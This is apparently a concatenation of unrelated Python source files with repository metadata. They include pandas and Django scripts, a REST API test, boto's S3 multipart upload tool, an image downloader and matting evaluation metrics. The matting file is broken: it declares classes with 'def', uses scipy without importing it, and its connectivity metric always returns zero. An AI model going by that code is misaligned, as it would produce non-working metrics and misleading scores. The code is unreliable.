int(sys.argv[3]) else: threshold = 0 split(wiki_name, experiment, threshold)
[ "benjamin.haettasch@cs.tu-darmstadt.de" ]
benjamin.haettasch@cs.tu-darmstadt.de
ee2b1a66b05d351436375671a7fe15c17c9c564d
3da9b7208eb5c2192458da0fca9e2e55f3a75d73
/projPandas/app.py
a071ba009e26a5832f0f5ce6bba13ed7f1ed568a
[]
no_license
adityas27/PySnips
42348618551f58cde9aa79591c18e394c9f5413c
285b603cafebf5039b1a5bf1ff036e65c75f4bf7
refs/heads/main
2023-06-17T20:52:43.262246
2021-07-15T11:47:01
2021-07-15T11:47:01
null
0
0
null
null
null
null
UTF-8
Python
false
false
728
py
""" ToDos for this project ¶ 1. Remove NaN values and change it to 0 2. Make Roll_number column as index 3. Sort Index 4. Make new dataframe which consists of Only [Name, Score, Std] 5. Save new dataframe as CSV """ import pandas as pd subject = "geography" df = pd.read_csv(f'data/{subject}.csv', header=0) df.rename(columns={'Roll no': 'Roll_number'}, inplace=True) def main(df): df['Roll_number'] = df['Roll_number'].fillna(0) df['Roll_number'] = df['Roll_number'].astype(int) df.set_index('Roll_number', inplace=True) df = df.sort_index() main_df = df[['Name', 'Total score', 'Standard']] main_df.to_csv(f'toSend/ToSend{subject}Result.csv') main(df)
[ "adityasingh27072746@gmail.com" ]
adityasingh27072746@gmail.com
a811d153e337706d515599bbb07ff549b3e288e1
b0f45a16f34ff84e217ff20cc06f1e8280459504
/antgo/measures/matting_task.py
b4d89c343881b9e68b17ca02028d5a8540f7ccae
[]
no_license
zhaoqike/antgo
c41dd4b8bc3e969f6008a6c17f0b44d0fe4a8eae
c8a62b2567f62db15f26c75dcc2191cb69f392ab
refs/heads/master
2021-07-18T17:37:58.652112
2017-09-12T01:19:15
2017-09-12T01:19:15
102,823,416
0
0
null
2017-09-12T08:04:20
2017-09-08T05:57:28
Python
UTF-8
Python
false
false
3,153
py
# encoding=utf-8 # @Time : 17-7-25 # @File : matting_task.py # @Author : from __future__ import division from __future__ import unicode_literals from __future__ import print_function import numpy as np from antgo.task.task import * from antgo.measures.base import * from antgo.dataflow.common import * from antgo.measures.error import * class AntSADMatting(AntMeasure): def __init__(self, task): super(AntSADMatting, self).__init__(task, 'MATTING-SAD') assert (task.task_type == 'MATTING') self.is_support_rank = True def eva(self, data, label): if label is not None: data = zip(data, label) count = 0 sad = 0.0 for predict, gt in data: assert(len(predict.shape) == 2) assert(len(gt.shape) == 2) sad += np.sum(np.abs(predict - gt)) count += 1 val = sad / count return {'statistic':{'name':self.name, 'value':[{'name':self.name, 'value': val, 'type': 'SCALAR'}]}} def AntMSEMatting(AntMeasure): def __init__(self, task): super(AntMSEMatting, self).__init__(task, 'MATTING-MSE') assert (task.task_type == 'MATTING') self.is_support_rank = True def eva(self, data, label): if label is not None: data = zip(data, label) count = 0 res = 0.0 for predict, gt in data: assert(len(predict.shape) == 2) assert(len(gt.shape) == 2) res += mse(gt, predict) count += 1 val = res / count return {'statistic': {'name': self.name, 'value': [{'name': self.name, 'value': val, 'type': 'SCALAR'}]}} def AntGradientMatting(AntMeasure): def __init__(self, task): # paper: Christoph Rhemann, etc. A Perceptually Motivated Online Benchmark for Image Matting super(AntGradientMatting, self).__init__(task, 'MATTING-GRADIENT') assert (task.task_type == 'MATTING') # delta = 1.4, q = 2 self.is_support_rank = True def eva(self, data, label): if label is not None: data = zip(data, label) count = 0 res = 0.0 for predict, gt in data: assert(len(predict.shape) == 2) assert(len(gt.shape) == 2) predict_grad = scipy.ndimage.filters.gaussian_filter(predict, 1.4, order=1) gt_grad = scipy.ndimage.filters.gaussian_filter(gt, 1.4, order=1) res += np.sum(np.power(predict_grad - gt_grad, 2)) count += 1 val = res / count return {'statistic': {'name': self.name, 'value': [{'name': self.name, 'value': val, 'type': 'SCALAR'}]}} def AntConnectivityMatting(AntMeasure): def __init__(self, task): # paper: Christoph Rhemann, etc. A Perceptually Motivated Online Benchmark for Image Matting super(AntConnectivityMatting, self).__init__(task, 'MATTING-CONNECTIVITY') assert (task.task_type == 'MATTING') # theta=0.15, p=1 self.is_support_rank = True def eva(self, data, label): if label is not None: data = zip(data, label) count = 0 res = 0.0 for predict, gt in data: assert(len(predict.shape) == 2) assert(len(gt.shape) == 2) count += 1 val = 0.0 return {'statistic': {'name': self.name, 'value': [{'name': self.name, 'value': val, 'type': 'SCALAR'}]}}
[ "jian.fbehind@gmail.com" ]
jian.fbehind@gmail.com
1ddbfef718f3f76bbe9b4ec02c96d12a6471ecf9
150fe244b4bf651ad1134d10624e35162a3eb6ed
/api_tests/principal_role_test.py
469dd8a3f086aea605345d18be0ea7ad94ac8b84
[ "MIT" ]
permissive
uluru-phatnguyen/saas_rbac
4e16ee931139d29dcc9ddcce361992521665d5f4
8debc56a9610f8fef1a323155eb938bfef4fa034
refs/heads/master
2021-05-18T19:07:06.216899
2019-07-10T18:10:31
2019-07-10T18:10:31
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,805
py
import unittest import base_test import json import urllib class PrincipalRoleTest(base_test.BaseTest): def setUp(self): super(PrincipalRoleTest, self).setUp() self._org = self.post('/api/orgs', {"name":"role_org", "url":"https://myorg.com"}) self._principal = self.post('/api/orgs/%s/principals' % self._org["id"], {"username":"my_principal", "organization_id":self._org["id"]}) self._realm = self.post('/api/realms', {"id":"resource_realm"}) self._role = self.post('/api/orgs/%s/roles' % self._org["id"], {"name":"my_role", "organization_id":self._org["id"], "realm_id":self._realm["id"]}) self._license = self.post('/api/orgs/%s/licenses' % self._org["id"], {"name":"my_license", "organization_id":self._org["id"], "effective_at": "2019-01-01T00:00:00", "expired_at": "2030-01-01T00:00:00"}) def tearDown(self): self.delete('/api/orgs/%s/licenses/%s' % (self._org["id"], self._license["id"])) self.delete('/api/orgs/%s/roles/%s' % (self._org["id"], self._role["id"])) self.delete('/api/realms/%s' % self._realm["id"]) self.delete('/api/orgs/%s' % self._org["id"]) self.delete('/api/orgs/%s/principals/%s' % (self._org["id"], self._principal["id"])) def test_add_remove_principal_to_role(self): resp = self.put('/api/orgs/%s/roles/%s/principals/%s?max=10&constraints=prin_scope&expired_at=%s' % (self._org["id"], self._role["id"], self._principal["id"], urllib.quote('2033-6-17T00:00:00+05:30', safe='')), {}) self.assertEquals(1, resp, json.dumps(resp)) resp = self.delete('/api/orgs/%s/roles/%s/principals/%s' % (self._org["id"], self._role["id"], self._principal["id"])) self.assertEquals(1, resp, json.dumps(resp)) if __name__ == '__main__': unittest.main()
[ "bhatti@plexobject.com" ]
bhatti@plexobject.com
aeef40161ad8a17f366260d7335f1bb1e51c30ae
dcd2dea5a0054690cb9a25ac7d55652037d09eae
/gallery/urls.py
09f6a2f2069cf1c987cdcd9a524411daecae9523
[]
no_license
SadLaboka/PhotoGallery
76c1244a6206b1dcba4a39d7ed420b0d4728347b
c5723eb0eff8892b567fb5b7b8ea40d38b7eaee5
refs/heads/main
2023-06-11T18:43:17.482423
2021-07-03T11:35:10
2021-07-03T11:35:10
347,159,247
0
0
null
null
null
null
UTF-8
Python
false
false
1,385
py
from django.urls import path from .views import ( GalleryView, PhotoDetailView, PhotosByCategory, PhotosByAlbums, PhotoManagement, AddPhoto, DeletePhoto, EditPhoto, UserProfile, UserAlbums, CreateAlbum, DeleteAlbum, user_login, user_logout, register, ) urlpatterns = [ path('', GalleryView.as_view(), name='home'), path('login/', user_login, name='login'), path('logout/', user_logout, name='logout'), path('register/', register, name='register'), path('profile/', UserProfile.as_view(), name='profile'), path('profile/albums/', UserAlbums.as_view(), name='albums'), path('profile/albums/add/', CreateAlbum.as_view(), name='add-album'), path('profile/albums/delete/<int:pk>', DeleteAlbum.as_view(), name='delete-album'), path('profile/albums/<int:pk>/', PhotosByAlbums.as_view(), name='photos-by-album'), path('profile/photos/', PhotoManagement.as_view(), name='photo-management'), path('profile/photos/edit/<int:pk>/', EditPhoto.as_view(), name='edit-photo'), path('profile/photos/delete/<int:pk>', DeletePhoto.as_view(), name='delete-photo'), path('photo/add/', AddPhoto.as_view(), name='add-photo'), path('photo/<int:pk>/', PhotoDetailView.as_view(), name='photo-detail'), path('category/<str:slug>/', PhotosByCategory.as_view(), name='photos-by-category'), ]
[ "toteshephysic@yandex.ru" ]
toteshephysic@yandex.ru
33f8e8c7bd58dedd1a60ff330d66f61e776030ca
17e1fef277dce4113f5d4f34107ba9f4b25d6646
/env/bin/s3multiput
f5e975662b4c63d861ea8958d11063454b5b4f2c
[]
no_license
morenopc/botoS3-storages-test-project
278a597d9c79b8b2c79b9e4b8bbe953e4c079270
4672fb00d0866e019d04ec6cd0a27bf3a049b0e1
refs/heads/master
2021-01-23T22:15:24.813838
2012-10-23T17:49:44
2012-10-23T17:49:44
6,357,058
0
1
null
2020-07-25T21:42:25
2012-10-23T17:46:06
Python
UTF-8
Python
false
false
12,970
#!/home/moreno/projects/django/botoS3-storages-test-project/env/bin/python # Copyright (c) 2006,2007,2008 Mitch Garnaat http://garnaat.org/ # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # # multipart portions copyright Fabian Topfstedt # https://gist.github.com/924094 import math import mimetypes from multiprocessing import Pool import getopt, sys, os import boto from boto.exception import S3ResponseError from boto.s3.connection import S3Connection from filechunkio import FileChunkIO usage_string = """ SYNOPSIS s3put [-a/--access_key <access_key>] [-s/--secret_key <secret_key>] -b/--bucket <bucket_name> [-c/--callback <num_cb>] [-d/--debug <debug_level>] [-i/--ignore <ignore_dirs>] [-n/--no_op] [-p/--prefix <prefix>] [-k/--key_prefix <key_prefix>] [-q/--quiet] [-g/--grant grant] [-w/--no_overwrite] [-r/--reduced] path Where access_key - Your AWS Access Key ID. If not supplied, boto will use the value of the environment variable AWS_ACCESS_KEY_ID secret_key - Your AWS Secret Access Key. If not supplied, boto will use the value of the environment variable AWS_SECRET_ACCESS_KEY bucket_name - The name of the S3 bucket the file(s) should be copied to. path - A path to a directory or file that represents the items to be uploaded. If the path points to an individual file, that file will be uploaded to the specified bucket. If the path points to a directory, s3_it will recursively traverse the directory and upload all files to the specified bucket. debug_level - 0 means no debug output (default), 1 means normal debug output from boto, and 2 means boto debug output plus request/response output from httplib ignore_dirs - a comma-separated list of directory names that will be ignored and not uploaded to S3. num_cb - The number of progress callbacks to display. The default is zero which means no callbacks. If you supplied a value of "-c 10" for example, the progress callback would be called 10 times for each file transferred. prefix - A file path prefix that will be stripped from the full path of the file when determining the key name in S3. For example, if the full path of a file is: /home/foo/bar/fie.baz and the prefix is specified as "-p /home/foo/" the resulting key name in S3 will be: /bar/fie.baz The prefix must end in a trailing separator and if it does not then one will be added. key_prefix - A prefix to be added to the S3 key name, after any stripping of the file path is done based on the "-p/--prefix" option. reduced - Use Reduced Redundancy storage grant - A canned ACL policy that will be granted on each file transferred to S3. The value of provided must be one of the "canned" ACL policies supported by S3: private|public-read|public-read-write|authenticated-read no_overwrite - No files will be overwritten on S3, if the file/key exists on s3 it will be kept. This is useful for resuming interrupted transfers. Note this is not a sync, even if the file has been updated locally if the key exists on s3 the file on s3 will not be updated. If the -n option is provided, no files will be transferred to S3 but informational messages will be printed about what would happen. """ def usage(): print usage_string sys.exit() def submit_cb(bytes_so_far, total_bytes): print '%d bytes transferred / %d bytes total' % (bytes_so_far, total_bytes) def get_key_name(fullpath, prefix, key_prefix): key_name = fullpath[len(prefix):] l = key_name.split(os.sep) return key_prefix + '/'.join(l) def _upload_part(bucketname, aws_key, aws_secret, multipart_id, part_num, source_path, offset, bytes, debug, cb, num_cb, amount_of_retries=10): if debug == 1: print "_upload_part(%s, %s, %s)" % (source_path, offset, bytes) """ Uploads a part with retries. """ def _upload(retries_left=amount_of_retries): try: if debug == 1: print 'Start uploading part #%d ...' % part_num conn = S3Connection(aws_key, aws_secret) conn.debug = debug bucket = conn.get_bucket(bucketname) for mp in bucket.get_all_multipart_uploads(): if mp.id == multipart_id: with FileChunkIO(source_path, 'r', offset=offset, bytes=bytes) as fp: mp.upload_part_from_file(fp=fp, part_num=part_num, cb=cb, num_cb=num_cb) break except Exception, exc: if retries_left: _upload(retries_left=retries_left - 1) else: print 'Failed uploading part #%d' % part_num raise exc else: if debug == 1: print '... Uploaded part #%d' % part_num _upload() def upload(bucketname, aws_key, aws_secret, source_path, keyname, reduced, debug, cb, num_cb, acl='private', headers={}, guess_mimetype=True, parallel_processes=4): """ Parallel multipart upload. """ conn = S3Connection(aws_key, aws_secret) conn.debug = debug bucket = conn.get_bucket(bucketname) if guess_mimetype: mtype = mimetypes.guess_type(keyname)[0] or 'application/octet-stream' headers.update({'Content-Type': mtype}) mp = bucket.initiate_multipart_upload(keyname, headers=headers, reduced_redundancy=reduced) source_size = os.stat(source_path).st_size bytes_per_chunk = max(int(math.sqrt(5242880) * math.sqrt(source_size)), 5242880) chunk_amount = int(math.ceil(source_size / float(bytes_per_chunk))) pool = Pool(processes=parallel_processes) for i in range(chunk_amount): offset = i * bytes_per_chunk remaining_bytes = source_size - offset bytes = min([bytes_per_chunk, remaining_bytes]) part_num = i + 1 pool.apply_async(_upload_part, [bucketname, aws_key, aws_secret, mp.id, part_num, source_path, offset, bytes, debug, cb, num_cb]) pool.close() pool.join() if len(mp.get_all_parts()) == chunk_amount: mp.complete_upload() key = bucket.get_key(keyname) key.set_acl(acl) else: mp.cancel_upload() def main(): # default values aws_access_key_id = None aws_secret_access_key = None bucket_name = '' ignore_dirs = [] total = 0 debug = 0 cb = None num_cb = 0 quiet = False no_op = False prefix = '/' key_prefix = '' grant = None no_overwrite = False reduced = False try: opts, args = getopt.getopt(sys.argv[1:], 'a:b:c::d:g:hi:k:np:qs:wr', ['access_key=', 'bucket=', 'callback=', 'debug=', 'help', 'grant=', 'ignore=', 'key_prefix=', 'no_op', 'prefix=', 'quiet', 'secret_key=', 'no_overwrite', 'reduced']) except: usage() # parse opts for o, a in opts: if o in ('-h', '--help'): usage() if o in ('-a', '--access_key'): aws_access_key_id = a if o in ('-b', '--bucket'): bucket_name = a if o in ('-c', '--callback'): num_cb = int(a) cb = submit_cb if o in ('-d', '--debug'): debug = int(a) if o in ('-g', '--grant'): grant = a if o in ('-i', '--ignore'): ignore_dirs = a.split(',') if o in ('-n', '--no_op'): no_op = True if o in ('w', '--no_overwrite'): no_overwrite = True if o in ('-p', '--prefix'): prefix = a if prefix[-1] != os.sep: prefix = prefix + os.sep if o in ('-k', '--key_prefix'): key_prefix = a if o in ('-q', '--quiet'): quiet = True if o in ('-s', '--secret_key'): aws_secret_access_key = a if o in ('-r', '--reduced'): reduced = True if len(args) != 1: usage() path = os.path.expanduser(args[0]) path = os.path.expandvars(path) path = os.path.abspath(path) if not bucket_name: print "bucket name is required!" usage() c = boto.connect_s3(aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) c.debug = debug b = c.get_bucket(bucket_name) # upload a directory of files recursively if os.path.isdir(path): if no_overwrite: if not quiet: print 'Getting list of existing keys to check against' keys = [] for key in b.list(get_key_name(path, prefix, key_prefix)): keys.append(key.name) for root, dirs, files in os.walk(path): for ignore in ignore_dirs: if ignore in dirs: dirs.remove(ignore) for file in files: fullpath = os.path.join(root, file) key_name = get_key_name(fullpath, prefix, key_prefix) copy_file = True if no_overwrite: if key_name in keys: copy_file = False if not quiet: print 'Skipping %s as it exists in s3' % file if copy_file: if not quiet: print 'Copying %s to %s/%s' % (file, bucket_name, key_name) if not no_op: if os.stat(fullpath).st_size == 0: # 0-byte files don't work and also don't need multipart upload k = b.new_key(key_name) k.set_contents_from_filename(fullpath, cb=cb, num_cb=num_cb, policy=grant, reduced_redundancy=reduced) else: upload(bucket_name, aws_access_key_id, aws_secret_access_key, fullpath, key_name, reduced, debug, cb, num_cb, grant or 'private') total += 1 # upload a single file elif os.path.isfile(path): key_name = get_key_name(os.path.abspath(path), prefix, key_prefix) copy_file = True if no_overwrite: if b.get_key(key_name): copy_file = False if not quiet: print 'Skipping %s as it exists in s3' % path if copy_file: if not quiet: print 'Copying %s to %s/%s' % (path, bucket_name, key_name) if not no_op: if os.stat(path).st_size == 0: # 0-byte files don't work and also don't need multipart upload k = b.new_key(key_name) k.set_contents_from_filename(path, cb=cb, num_cb=num_cb, policy=grant, reduced_redundancy=reduced) else: upload(bucket_name, aws_access_key_id, aws_secret_access_key, path, key_name, reduced, debug, cb, num_cb, grant or 'private') if __name__ == "__main__": main()
[ "moreno.pinheiro@gmail.com" ]
moreno.pinheiro@gmail.com
dc0bb1fb6349725d85c52d791dfc3534d80f71ef
67616ecf67b9d2bf40fa83f96fb322e717e0b1cc
/Python/Chap02/class.py
6aba7e7332236539c7e7d756f90f8a942cfab7f1
[]
no_license
rajeshaws0054/Rajesh_Final
f9c58cd83ce2d32075e24d95075d1b75119458b4
030c621293a251d66293893e8415f1c9a54d7eb1
refs/heads/main
2023-01-03T22:46:20.916792
2020-10-22T11:46:15
2020-10-22T11:46:15
300,840,961
0
0
null
2020-10-22T11:46:16
2020-10-03T09:15:04
Python
UTF-8
Python
false
false
245
py
#!/usr/bin/env python3 class Duck: def quack(self): print('Quaaack!') def walk(self): print('Walks like a duck.') def main(): donald = Duck() donald.quack() donald.walk() if __name__ == '__main__': main()
[ "rajesh.borugadda@synectiks.com" ]
rajesh.borugadda@synectiks.com
83614d139789b63f093ae4f54391f322b254c0ec
6555c394e124bd9220a03dead6db570f61825474
/blog/urls.py
f25127581696140f31182db2244b7832879ff474
[]
no_license
ccrossla/python-django-blog
5b6c271780b3825ea55b341eec87a5987ad6a78d
ae547ceffc95d653aa8b72bc253507ed6c006a29
refs/heads/master
2020-05-04T12:52:59.924842
2019-04-06T16:25:17
2019-04-06T16:25:17
179,139,198
0
0
null
null
null
null
UTF-8
Python
false
false
577
py
from django.urls import path from .views import PostListView, PostDetailView, PostCreateView, PostUpdateView, PostDeleteView from . import views urlpatterns = [ path('', PostListView.as_view(), name='blog/home'), path('post/<int:pk>/', PostDetailView.as_view(), name='post-detail'), path('post/<int:pk>/update/', PostUpdateView.as_view(), name='post-update'), path('post/<int:pk>/delete/', PostDeleteView.as_view(), name='post-delete'), path('post/new/', PostCreateView.as_view(), name='post-create'), path('about/', views.about, name='blog/about'), ]
[ "ccrossla@trinity.edu" ]
ccrossla@trinity.edu
4991781b7f3e6313b0c345c9656600838ac75d30
f63d1f49e9cce41016b7c22d880d206948f62627
/lexicons/extract_csw.py
452353bfa1d94ff7daadfd0ea66ea585d26e6551
[ "MIT" ]
permissive
tblock007/boggle
4824c236d5277c29de0b132b03df9c85c03f00e1
8e6f38348a3a7f9e010b54231314bf42cfd4ce36
refs/heads/master
2020-06-30T17:14:00.596702
2020-05-08T05:44:01
2020-05-08T05:44:01
200,893,210
0
0
null
null
null
null
UTF-8
Python
false
false
285
py
def convertLine(l): return (l.split()[0] + '\n') ifstream = open('CSW19defs.txt', 'r', encoding='utf-8') ofstream = open('csw_en.txt', 'w+') words = [convertLine(line) for line in ifstream.readlines()[1:]] for w in words: ofstream.write(w) ifstream.close() ofstream.close()
[ "the.t.block@gmail.com" ]
the.t.block@gmail.com
649d07398de11e3ef5cede9ff99e0e0d1a27c6e5
2548c338652a3da8735e93d9fac052d2031dde73
/wsgi.py
d5ffc72431b396f3a8328da482a80637e00c6b78
[]
no_license
ronjohn4/poker-old
94f17cd7deadab004138031530f698103bcdca2d
e9bbdca0e4f13bd1f6c4cac367414a0c01d655f6
refs/heads/master
2023-07-05T01:06:53.154780
2021-08-30T12:09:39
2021-08-30T12:09:39
null
0
0
null
null
null
null
UTF-8
Python
false
false
138
py
from app import app if __name__ == "__main__": app.run(use_debugger=False, use_reloader=False, passthrough_errors=True, port=8002)
[ "ronjohn4@gmail" ]
ronjohn4@gmail
fafe14b197f0c604e61c53c8e48f27d9ee291ebd
6a29573f8e6ce14d8aaa7829935c601dd972891f
/bqgSpider_v0.py
4f632ebab4a2e44eb11d70f3a7f6b04484f49510
[]
no_license
qiebzps/biqugeSpider
003d9f7bd252e234ce0e1b7541e65d86eb83a020
36ba6371e8f4454743ed30476ecc7fca3aa7472f
refs/heads/master
2020-04-07T08:54:32.819298
2018-12-08T12:17:20
2018-12-08T12:17:20
158,232,955
0
0
null
null
null
null
UTF-8
Python
false
false
421
py
# 爬取网页的通用代码框架 import requests def getHTMLText(url): try: r = requests.get(url, timeout=30) r.raise_for_status() #如果状态不是200,引发HTTPError异常 r.encoding = r.apparent_encoding return r.text except: return "getHTMLText产生异常" if __name__== "__main__": url = "http://www.biquge.com.tw/0_278/" print(getHTMLText(url))
[ "1033239636@qq.com" ]
1033239636@qq.com
db15a162e4c6680d4242c10abdce862662440536
466125d21b53adce5095912a5c1c91782a9542e4
/price_evaluator_app/urls.py
49d5c35563bbea75e3b54e3965749e7cfd2d2274
[]
no_license
DominikaPasek/price-evaluator
1c7c7a0389969a7cc646c6be155fcf5a30d605ba
837b537825df0639c33c6773f515693dfd5a1aa9
refs/heads/master
2023-06-19T11:16:13.117318
2021-07-17T09:36:50
2021-07-17T09:36:50
384,397,910
1
0
null
null
null
null
UTF-8
Python
false
false
1,428
py
"""price_evaluator_app URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path from price_ev.views import * urlpatterns = [ path('admin/', admin.site.urls), path('', BasicView.as_view(), name='main'), path('products/', ProductsView.as_view(), name='products'), path('products/add-new-product/link/', AddNewProductLink.as_view(), name='add_new_product_link'), path('products/add-new-product/', AddNewProduct.as_view(), name='product_form'), path('projects/', ProjectsList.as_view(), name='projects'), path('projects/add-new-project/', AddNewProject.as_view(), name='project_form'), path('projects/add-new-project/<int:pk>/', AddProductsToProject.as_view(), name='products_to_project'), path('projects/<int:project_id>/', ProjectDetails.as_view(), name='project'), ]
[ "76444887+DominikaPasek@users.noreply.github.com" ]
76444887+DominikaPasek@users.noreply.github.com
b6e9da8a58931142ae37f79ad52061c92bc9993f
5b0e6f520310c30b444cfafd5ee7789b599f7955
/bb.py
79a87809a1c65cdf18820c65b20959f4f9e5c9d7
[]
no_license
heynoparking/code
d1e1d5494ad13bc847ee8c73bec13cc5c02daab7
6a2b3686d82591bdbae787e251f5402b149934aa
refs/heads/master
2020-03-22T15:45:14.605012
2018-08-06T15:50:07
2018-08-06T15:50:07
140,275,277
1
0
null
null
null
null
UTF-8
Python
false
false
285
py
import json import requests url = 'https://www.metaweather.com/api/location/2306179/2018/7/18/' r = requests.get(url) r.encoding = 'utf-8' data = json.loads(r.text) print("Taipei on a 18th Jul 2018. Weather: " ) for i in range(len(data)): print( data[i]['weather_state_name'])
[ "booboo0590@gmail.com" ]
booboo0590@gmail.com
104faf0976a57398e08a2092df8011c01c40ff5a
2e5dbb3b851a3e96d715bc50c54b2dbe84b52a7d
/dl/lecture01/furniture/download_furniture.py
bf49967dc44eb0f6705f470a5f97d465ab403096
[]
no_license
devforfu/fastai_courses
b3116ec93cef2174e661c1d1884a33d8510f08a5
82ee6e299c805f10e224c6a3473ac75ffbfdada4
refs/heads/master
2020-04-02T07:04:23.766567
2018-12-21T16:49:04
2018-12-21T16:49:04
154,180,455
4
1
null
null
null
null
UTF-8
Python
false
false
5,327
py
import os import json import argparse from io import BytesIO from pathlib import Path from dataclasses import dataclass, asdict from functools import partial import configparser from multiprocessing import Pool, cpu_count import requests import numpy as np import pandas as pd from PIL import Image from fastai.core import partition from projects.logger import get_logger PATH = Path.home()/'data'/'furniture' IMAGES = PATH/'images' TRAIN_IMAGES = IMAGES/'train' VALID_IMAGES = IMAGES/'valid' TEST_IMAGES = IMAGES/'test' LABELS = PATH/'labels.csv' HEADERS = {'User-Agent': 'Python3'} RANDOM_STATE = 1 np.random.seed(RANDOM_STATE) log = get_logger() def main(): args = parse_args() name = args.subset path = IMAGES/name os.makedirs(path, exist_ok=True) json_file = PATH/f'{name}.json' index_file = PATH/f'{name}_index.csv' prepare_url_index(json_file, index_file, pct=args.pct) log.info(f'Downloading {args.pct:2.2%} of {json_file}...') index = pd.read_csv(index_file) info = download(index, path, args.chunk_size, args.proxy) info.to_pickle(IMAGES/f'{name}_info.pickle') def parse_args(): parser = argparse.ArgumentParser() parser.add_argument( '--subset', default='train', choices=['train', 'validation', 'test'], help='Subset to download' ) parser.add_argument( '--pct', default=0.1, type=float, help='Percent of images to download' ) parser.add_argument( '--chunk-size', default=1000, type=int, help='Number of images to download per multi-threaded pool run' ) parser.add_argument( '--proxy', default=None, help='proxy configuration (if required)' ) args = parser.parse_args() if args.proxy is not None: conf = configparser.ConfigParser() conf.read(args.proxy) proxy = dict(conf['proxy']) url = 'socks5://{username}:{password}@{host}:{port}'.format(**proxy) args.proxy = {'http': url, 'https': url} return args def prepare_url_index(json_file, index_file, pct=0.1): """Saves meta-information about images into CSV file. Args: json_file: Path to JSON file with dataset information. index_file: Path to CSV file to save image URL, label ID, and image ID pct: Percentage of dataset to take. """ with json_file.open() as file: content = json.load(file) images = content['images'] if 'annotations' in content: labels = content['annotations'] else: labels = [ {'image_id': img['image_id'], 'label_id': 0} for img in images] urls = [img['url'][0] for img in images] records = pd.DataFrame([ {'url': url, **lbl} for url, lbl in zip(urls, labels)]) if pct is not None and pct < 1: pct = max(0.0, min(pct, 1.0)) subsets = [] for key, group in records.groupby('label_id'): size = int(len(group) * pct) subsets.extend(group.sample(size, random_state=RANDOM_STATE).to_dict('records')) records = pd.DataFrame(subsets) records.to_csv(index_file, index=None) @dataclass class ImageInfo: path: Path label_id: int image_id: int url: str failed: bool = False def download(index, path, chunk_size: int=1000, proxy: dict=None): """Downloads images with URLs from index dataframe.""" n_cpu = cpu_count() worker = partial(download_single, path, proxy) queue = index.to_dict('records') meta = [] with Pool(n_cpu) as pool: chunks = partition(queue, chunk_size) n_chunks = len(chunks) for i, chunk in enumerate(chunks): log.info('Downloading chunk %d of %d' % (i+1, n_chunks)) data = [x for x in pool.imap_unordered(worker, chunk) if not x.failed] meta.extend([asdict(info) for info in data]) return pd.DataFrame(meta) def download_single(folder, proxy, info): url = info['url'] img_name = str(info['image_id']) + '.jpg' path = folder/img_name result = { 'label_id': info['label_id'], 'image_id': info['image_id'], 'path': path, 'url': url} if path.exists(): return ImageInfo(**result) error, msg = True, '' try: r = requests.get( url, allow_redirects=True, timeout=60, headers=HEADERS, proxies=proxy) r.raise_for_status() error = False except requests.HTTPError: msg = 'HTTP error' except requests.ConnectionError: msg = 'Connection error' except requests.Timeout: msg = 'Waiting response too long' except Exception as e: msg = str(e)[:80] if error: log.warning('%s: %s', msg, url) return ImageInfo(failed=True, **result) try: pil_image = Image.open(BytesIO(r.content)).convert('RGB') pil_image.save(path, format='JPEG', quality=90) except Exception as e: log.warning('Cannot create PIL Image: %s', str(e)) return ImageInfo(failed=True, **result) if os.stat(path).st_size <= 0: log.warning('Saved image file is emtpy: %s', path) return ImageInfo(failed=True, **result) return ImageInfo(**result) if __name__ == '__main__': main()
[ "developer.z@outlook.com" ]
developer.z@outlook.com
94e94f0a49146bdb6be636a8ec08afefab19692d
34652a47355a8dbe9200db229a1bbc62619de364
/Matlibplots/dataset/weighted_moving_average.py
ba1c72dd6c5721cf2c82d983bfe57dd402757fc0
[]
no_license
btrif/Python_dev_repo
df34ab7066eab662a5c11467d390e067ab5bf0f8
b4c81010a1476721cabc2621b17d92fead9314b4
refs/heads/master
2020-04-02T13:34:11.655162
2019-11-10T11:08:23
2019-11-10T11:08:23
154,487,015
0
1
null
null
null
null
UTF-8
Python
false
false
1,098
py
# Created by Bogdan Trif on 05-02-2018 , 11:25 AM. import numpy as np import matplotlib.pyplot as plt #first generate some datapoint for a randomly sampled noisy sinewave x = np.random.random(1000)*10 noise = np.random.normal(scale=0.3,size=len(x)) y = np.sin(x) + noise #plot the data plt.plot(x,y,'ro',alpha=0.3,ms=4,label='data') plt.xlabel('Time') plt.ylabel('Intensity') def weighted_moving_average(x,y,step_size=0.05,width=1): bin_centers = np.arange(np.min(x),np.max(x)-0.5*step_size,step_size)+0.5*step_size bin_avg = np.zeros(len(bin_centers)) #We're going to weight with a Gaussian function def gaussian(x,amp=1,mean=0,sigma=1): return amp*np.exp(-(x-mean)**2/(2*sigma**2)) for index in range(0,len(bin_centers)): bin_center = bin_centers[index] weights = gaussian(x,mean=bin_center,sigma=width) bin_avg[index] = np.average(y,weights=weights) return (bin_centers,bin_avg) #plot the moving average bins, average = weighted_moving_average(x,y) plt.plot(bins, average,label='moving average') plt.grid(which='both') plt.show()
[ "bogdan.evanzo@gmail.com" ]
bogdan.evanzo@gmail.com
76d741d22429a7d8c099ca771922fad8c0f5979e
